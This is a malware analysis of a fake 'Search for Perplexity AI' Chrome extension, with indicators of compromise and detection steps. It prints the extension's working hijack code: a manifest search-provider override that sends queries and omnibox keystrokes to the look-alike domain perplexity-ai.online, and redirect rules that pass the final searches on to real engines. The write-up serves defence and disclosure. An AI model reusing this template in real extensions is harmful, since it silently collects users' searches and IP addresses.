Malware Analysis: Fake “Search for Perplexity AI” Chromium Extension

A Search Hijacker / Spyware That Intercepts Every Query via a Look-Alike Domain

1. Summary

Search for Perplexity ai is a malicious Manifest V3 Chromium extension (ID flkebkiofojicogddingbdmcmkpbplcd, version 2.5) that impersonates the Perplexity AI search engine. It sets itself as the browser’s default search provider and routes every query — and every keystroke typed in the address bar — through the attacker-controlled look-alike domain perplexity-ai[.]online. That server logs the search text, browser headers, user-agent, and source IP, then the extension’s redirect rules bounce the final navigation to a real engine (Perplexity, Google, or Bing) so results look normal and the victim notices nothing.

This is search interception / spyware, not a credential stealer. The extension requests no access to cookies, tabs, passwords, or arbitrary sites — its data theft is achieved entirely through the search-provider override. Google removed the extension from the Web Store after responsible disclosure.

Analysis was performed statically (read-only) on the unpacked source.

9 vendors have flagged the website as malicious as of 4th of July, 2026

2. Identification

• Name: Search for Perplexity ai (from _locales\en\messages.json -> appName)
• Extension ID: flkebkiofojicogddingbdmcmkpbplcd
• Version: 2.5 (Manifest V3, minimum_chrome_version 88)
• Impersonates: Perplexity AI (uses images\perplexity.svg branding and Perplexity naming)
• Attacker domain: perplexity-ai[.]online (actual real service is perplexity[.]ai)
• Developer contact (in store description): proludey@gmail[.]com
• Post-install landing page: hxxps[://]extension[.]tilda[.]ws/perplexityai
• Store status: removed by Google after Microsoft Threat Intelligence disclosure
• _metadata\verified_contents.json is present, confirming this was a Web-Store-signed (published) extension, not a side-loaded build.

3. File Inventory

manifest.json            - MV3 manifest, contains the search-provider hijack
background.js            - service worker, ruleset switching + post-install page
perplexity-rules.json    - declarativeNetRequest redirect rule (ENABLED)
google-rules.json        - alternate redirect rule (disabled by default)
bing-rules.json          - alternate redirect rule (disabled by default)
rules.json               - ORPHANED rule set referencing a different domain (default-search[.]site)
search.html / search.js  - popup UI (engine switcher: Perplexity / Bing / Google)
style.css                - popup styling
images\perplexity.svg    - Perplexity branding (impersonation)
hello_extensions.png     - leftover default icon from Google's official sample extension (low-effort build tell)
icons\, _locales\        - icons and 60+ locale strings
_metadata\verified_contents.json - Web Store signing metadata

SHA256 of the meaningful files (computed read-only with Get-FileHash):

42F305C8F88EE340931B9D8BBB1612A92CE702B7C405336BA1849A10089E4BB6  manifest.json
3BC3E0F9925402EF28D9EC62E070D3337B8EFF10192684DC022B8DBBA831FAE3  background.js
1B929FC02A2EC5DD5F45A03820089F45C49400CAD21C5B651AC4E1CC3D0869FC  perplexity-rules.json
843C7448444D835178342308E8DBD5A3111FCAC7B7112973D5A60488DD9503A8  google-rules.json
B1CEC8E31A00F239103C58032C636F07A5799C9E96ADB09B158B4F5B41EB898D  bing-rules.json
88643A8921B7FAD469CB13483397E8F0C73FDE09DD97166EB666F7CCA313C465  rules.json
CBC1C0A6976B665790ED11D902BBE60014EE93C68F829805AAF008BD73D2E44C  search.js
80766F207B532242F3B228E732D3EB72113F4C4E34B30230CECBC635CC0A2687  search.html
D305738C940DC13E40A202123A1F1202931B0A9E4102E46A8CCC80AC80A7E755  messages.json

Extracted source code & files directly from the extension

4. Manifest Analysis — the Search Hijack (key finding)

The malicious behavior lives in file manifest.json, line chrome_settings_overrides.search_provider. It forces itself to be the default engine and points all three provider URLs at the attacker domain:

"chrome_settings_overrides": {
  "search_provider": {
    "name": "Perplexity Search",
    "keyword": "perplexity",
    "is_default": true,
    "encoding": "UTF-8",
    "search_url": "https://perplexity-ai.online/search/{searchTerms}",
    "favicon_url": "https://perplexity-ai.online/favicon.ico",
    "suggest_url": "https://perplexity-ai.online/search?output=firefox&q={searchTerms}"
  }
},
"host_permissions": ["*://perplexity-ai.online/*"]

Two distinct data paths are created here:

• search_url -> perplexity-ai[.]online/search/{searchTerms} : where the browser goes when you press Enter.
• suggest_url -> perplexity-ai[.]online/search?output=firefox&q={searchTerms} : fired as you type in the address bar (omnibox autocomplete). Every partial keystroke is sent to the attacker in real time.

Requested permissions are deliberately narrow:

"permissions": [
  "unlimitedStorage", "storage",
  "declarativeNetRequest", "declarativeNetRequestFeedback",
  "declarativeNetRequestWithHostAccess"
]

No tabs, cookies, webRequest, scripting, or <all_urls>. That is why it cannot steal passwords or cookies — the theft is limited to search data via the provider override. This is consistent with Microsoft’s assessment (“no proof of password theft, but far more access than a search box should need”).

5. The Interception + Laundering Mechanism

The clever part is how the extension logs the query yet still shows real results. It comes down to which requests the redirect rules match.

The enabled rule set inside file perplexity-rules.json, redirects only URLs that match /search/ (with a trailing slash):

[
  {
    "id": 1,
    "priority": 1,
    "action": {
      "type": "redirect",
      "redirect": { "regexSubstitution": "https://www.perplexity.ai/search?q=\\1" }
    },
    "condition": {
      "regexFilter": "https://perplexity-ai.online/search/(.*)",
      "resourceTypes": ["main_frame"]
    }
  }
]

Trace the two paths:

• Pressing Enter -> perplexity-ai[.]online/search/<query> -> matches …/search/(.) -> declarativeNetRequest rewrites the navigation to https://www.perplexity[.]ai/search?q=<query>. The victim lands on the real Perplexity and sees normal results. (Switching the popup to Google or Bing swaps in google-rules.json / bing-rules.json*, which redirect to the real Google/Bing instead.)
• Typing in the address bar (suggestions) -> perplexity-ai[.]online/search?output=firefox&q=<partial>. This uses /search? (a query string), which does not match the /search/(.)* redirect regex, so it is not redirected. The request reaches the attacker’s server, which logs the query text, HTTP headers, user-agent, and source IP.

Net effect — the attacker harvests everything you type into the omnibox, while the final search is laundered to a legitimate engine so nothing looks wrong. The extension code performs the routing, the logging happens server-side at perplexity-ai[.]online.

6. background.js — Ruleset Control + Post-Install Redirect

The service worker reads a stored config and enables the matching redirect ruleset (default perplexity), disabling the others. It re-applies on any storage change:

const configName = "perplexitySearchConfig",
chrome.storage.sync.get(configName, function (result) { configSearchEngine(result), }),

function configSearchEngine(result) {
  let searchEngine = "perplexity",
  if (result.perplexitySearchConfig && result.perplexitySearchConfig.searchEngine) {
    searchEngine = result.perplexitySearchConfig.searchEngine,
  }
  let options = { enableRulesetIds: [searchEngine] },
  chrome.declarativeNetRequest
    .updateEnabledRulesets({ disableRulesetIds: ["perplexity", "google", "bing"] })
    .then(() => { chrome.declarativeNetRequest.updateEnabledRulesets(options)... }),
}

On first install it force-opens a Tilda-hosted onboarding page:

chrome.runtime.onInstalled.addListener((details) => {
  if (details.reason === chrome.runtime.OnInstalledReason.INSTALL) {
    chrome.tabs.create({ url: "https://extension.tilda.ws/perplexityai" }),
  }
}),

extension[.]tilda[.]ws is a website-builder subdomain — a cheap, disposable landing page consistent with the low-effort nature of the campaign.

Only 3 vendors have flagged the website as malicious as of 4th of July, 2026

7. Orphaned rules.json -> default-search[.]site (linked infrastructure)

rules.json exists in the package but is not referenced by the manifest’s declarative_net_request.rule_resources (which only registers perplexity, bing, google). It is a leftover from a prior or sibling variant and points at a different attacker domain:

[
  { "id": 1, "action": { "type": "redirect",
    "redirect": { "regexSubstitution": "https://www.bing.com/search?q=\\1" } },
    "condition": { "regexFilter": "https://default-search.site/search/(.*)", "resourceTypes": ["main_frame"] } },
  { "id": 2, ... "https://www.google.com/search?q=\\1" ... "default-search.site/search/(.*)" ... },
  { "id": 3, ... "https://www.perplexity.ai/search?q=\\1" ... "default-search.site/search/(.*)" ... }
]

This is a strong pivot — the same “log-then-launder” template has been deployed against default-search[.]site as well, indicating a reusable kit rather than a one-off.

8. Popup UI (search.html / search.js)

The popup is a simple 3-button switcher (Perplexity / Bing / Google) that writes the chosen engine into chrome.storage.sync, which background.js then enforces. It exists to sell the “switch search engines easily” cover story and to make the extension feel legitimate. It is part of the disguise, not a separate exploit.

The three fraudulent buttons & their source code

9. Data Exposed to the Attacker

Through perplexity-ai[.]online (server-side logging):

• Full search queries entered in the address bar / search box
• Real-time omnibox keystrokes (via suggest_url)
• HTTP request headers and User-Agent
• Source IP address (and therefore coarse geolocation / ISP)

Not accessible (by design of the requested permissions):

• Passwords, cookies, session tokens
• Page content on arbitrary sites, browsing history API, open tabs

Impact class — privacy compromise / surveillance of search behavior, plus the integrity risk that the attacker controls the resolution of your default search and could change the redirect target at any time (server-side or via an update).

10. Indicators of Compromise

EXTENSION
  Name     Search for Perplexity ai
  ID       flkebkiofojicogddingbdmcmkpbplcd
  Version  2.5

ATTACKER INFRASTRUCTURE
  perplexity-ai[.]online          (search_url / suggest_url / favicon_url / host_permissions)
  default-search[.]site           (orphaned rules.json - linked variant)
  extension[.]tilda[.]ws/perplexityai   (post-install landing page)
  proludey@gmail[.]com            (developer contact in store description)

FILE HASHES (SHA256)
  manifest.json           42F305C8F88EE340931B9D8BBB1612A92CE702B7C405336BA1849A10089E4BB6
  background.js           3BC3E0F9925402EF28D9EC62E070D3337B8EFF10192684DC022B8DBBA831FAE3
  perplexity-rules.json   1B929FC02A2EC5DD5F45A03820089F45C49400CAD21C5B651AC4E1CC3D0869FC
  google-rules.json       843C7448444D835178342308E8DBD5A3111FCAC7B7112973D5A60488DD9503A8
  bing-rules.json         B1CEC8E31A00F239103C58032C636F07A5799C9E96ADB09B158B4F5B41EB898D
  rules.json              88643A8921B7FAD469CB13483397E8F0C73FDE09DD97166EB666F7CCA313C465
  search.js               CBC1C0A6976B665790ED11D902BBE60014EE93C68F829805AAF008BD73D2E44C
  search.html             80766F207B532242F3B228E732D3EB72113F4C4E34B30230CECBC635CC0A2687

REDIRECT / LAUNDERING TARGETS (legitimate — NOT IOCs)

  www.perplexity[.]ai, www.google[.]com, www.bing[.]com
  clients2.google[.]com/service/update2/crx   (normal Chrome Web Store update_url)

11. MITRE ATT&CK

T1176 Browser Extensions - malicious extension as the foothold
T1036 Masquerading - impersonates Perplexity AI, launders searches to real engines to appear normal
T1557 Adversary-in-the-Middle (search path) - inserts attacker domain between the user and the real search engine
T1071.001 Application Layer Protocol: Web - queries/suggestions sent to the attacker web server over HTTPS
T1567 Exfiltration Over Web Service - search data collected server-side at perplexity-ai[.]online

12. Detection & Response

Check for presence:

• chrome://extensions (enable Developer mode) -> look for ID flkebkiofojicogddingbdmcmkpbplcd or name “Search for Perplexity ai”.
• chrome://settings/search -> if the default engine is “Perplexity Search” with a URL on perplexity-ai[.]online, it is hijacked.
• Edge/other Chromium: same checks under edge://extensions / edge://settings/searchEngines.

Remediate:

• Remove the extension, then reset the default search engine to a trusted one (the override is not always cleared automatically).
• Enterprise: block the ID via ExtensionInstallBlocklist policy and remove via managed policy.

Network hunting:

• DNS / proxy logs for perplexity-ai[.]online, default-search[.]site, extension[.]tilda[.]ws.
• Web requests matching perplexity-ai[.]online/search?… indicate active query interception.
• Block the three attacker domains at the resolver / proxy.

Scope note — no evidence of credential or cookie theft (permissions do not allow it), treat impact as exposure of search queries, omnibox input, and client IP/headers.

Stay safe out there, whenever possible if you’re being suspicious of an extension, extract the it’s raw code in an isolated environment (VM/sandboox), check for any IoC’s and/or check them on VirusTotal (easiest way to determine whether something is definitely malicious/suspicious).